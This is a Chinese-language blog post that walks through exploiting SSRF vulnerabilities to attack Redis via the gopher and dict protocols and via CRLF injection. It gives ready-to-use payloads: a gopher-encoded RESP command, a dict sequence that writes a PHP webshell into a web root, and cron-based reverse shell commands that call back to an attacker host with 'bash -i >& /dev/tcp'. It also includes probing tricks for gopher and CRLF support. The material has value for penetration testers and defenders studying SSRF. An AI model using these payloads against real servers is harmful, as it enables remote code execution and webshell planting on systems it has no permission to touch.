ssrf漏洞利用-攻击redis篇

  ssrf深入利用,打redis,不仅仅是打redis,还可以做很多事情,用redis抛砖引玉  

  打redis重要的两个协议:

  (1)gopher协议

  (2)dict协议

  用http(s)判断出网:

  如果出网,直接gopher://vps:port/,nc监听即可

  

  机器不出网如何判断支持gopher协议:

  利用gopher发起get/post请求存在/不存在域名,通过延迟时间探测:

  提供一种思路:

  (1)get请求:

  1.gopher://ip/_GET%20/%3fa=Hi%20HTTP/1.1%0d%0aHost:%20114.114.114.114%0d%0aConnection:%20close%0d%0a

  如果1没延迟,说明大概率不支持gopher,如果产生巨大延迟,说明大概率支持gopher

  

  打redis实施手法是怎样的?:

  抓取所有tcp 6379端口流量:

  

sudo tcpdump  -i any tcp port 6379 -w test.pcap

  redis下执行一些操作:set/get:

  

 

 

 

  

  此时pcap包里面已经有数据了,使用wireshark打开pcap包:

  查看数据包如下:

  

 

 

  已知redis的key name为444:

  

 

 

   修改key name为555:

  

curl 'gopher://1.1.1.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%244%0d%0aname%0d%0a%243%0d%0a555'

  

 

 

   查看key name:

  

 

 

   

  

  通过gopher,我们修改了key的值

  为什么可以这样传递数据修改?因为redis支持resp协议:

  

 

 

 

  

  (2)dict协议:

  dict协议不支持换行符,所以不能像gopher一样一次性攻击,只能一行行输入:

  有绝对路径,写文件:

  

flushall
+OK
config set dir /home/wwwroot/default/wordpress
+OK
config set dbfilename shell.php
+OK
set webshell "<?php phpinfo();?>"
+OK
save
+OK

  计划任务反弹:

  

curl 'dict://1.1.1.1:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/vps ip/9999 0>&1\n\n"'
curl 'dict://1.1.1.1:6379/config:set:dir:/etc/'
curl 'dict://1.1.1.1:6379/config:set:dbfilename:crontab'
curl 'dict://1.1.1.1.119:6379/bgsave or save'

 

  

  完全禁用gopher/dict协议还可以打redis吗?

  

  可以,如果支持http协议的ssrf漏洞,同时还存在crlf漏洞,那么可以利用crlf+http打redis:

  header CRLF

  可参考weblogic ssrf漏洞打redis:

  

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

 

  参考:https://xz.aliyun.com/t/7333

  

 

 

 

   

  实战思路参考:

  https://www.mi1k7ea.com/2021/04/06/浅析WebLogic-SSRF(CVE-2014-4210)/

  https://www.cnblogs.com/-chenxs/p/11749367.html

  weblogic ssrf详细分析:https://blog.csdn.net/simonnews/article/details/106064129

 

  补充更新:如何判断ssrf是否有crlf漏洞?

  http://119.45.227.86:123%0d%0a

  

 

 

 

 

 

  

  如果nc监听到信息,说明支持%0d%0a

  换一个不支持crlf的ssrf:

  

 

 

 

 

   

  没反应,所以不支持

  方法2:%0d%0ahttp://119.45.227.86:123

   

 

 

  如果不存在crlf漏洞:

  

 

 

posted @ 2022-02-14 13:47  飘渺红尘✨  阅读(1865)  评论(0编辑  收藏  举报
Title